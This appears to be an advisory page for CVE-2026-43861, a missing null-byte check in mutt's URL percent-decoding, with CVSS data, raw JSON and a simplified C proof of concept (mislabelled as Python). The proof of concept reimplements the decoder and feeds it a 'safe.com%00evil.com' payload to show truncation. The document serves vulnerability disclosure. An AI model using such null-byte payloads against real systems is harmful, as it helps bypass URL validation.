Security Vulnerability Report
中文
CVE-2026-43861 CVSS 3.7 LOW

CVE-2026-43861

Published: 2026-05-04 07:16:01
Last Modified: 2026-05-05 19:44:43

Description

mutt before 2.3.2 does not check for '\0' in url_pct_decode.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Mutt < 2.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2026-43861 * Demonstrating the lack of null byte checks in URL decoding. */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulates the vulnerable url_pct_decode function void vulnerable_decode(char *dst, const char *src) { while (*src) { if (*src == '%' && *(src + 1) && *(src + 2)) { char hex[3] = {0}; hex[0] = *(src + 1); hex[1] = *(src + 2); // Vulnerability: No check if the decoded char is '\0' unsigned char val = (unsigned char)strtol(hex, NULL, 16); *dst++ = (char)val; src += 3; } else { *dst++ = *src++; } } *dst = '\0'; } int main() { char decoded[256]; // Payload: 'http://safe.com' + null byte + 'http://evil.com' // Encoded as: http://safe.com%00http://evil.com const char *payload = "http://safe.com%00http://evil.com"; printf("Payload: %s\n", payload); vulnerable_decode(decoded, payload); printf("Decoded Result: %s\n", decoded); // Verify if the string was terminated early if (strstr(decoded, "evil.com") == NULL) { printf("[+] Vulnerability confirmed: String terminated at null byte.\n"); printf(" Intended 'evil.com' part was dropped.\n"); } else { printf("[-] Vulnerability not reproduced or patched.\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43861", "sourceIdentifier": "[email protected]", "published": "2026-05-04T07:16:00.730", "lastModified": "2026-05-05T19:44:42.893", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "mutt before 2.3.2 does not check for '\\0' in url_pct_decode."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-158"}]}], "references": [{"url": "https://github.com/muttmua/mutt/commit/12f54fe3b61f761c096fe95e95d5e3072af00ed2", "source": "[email protected]"}]}}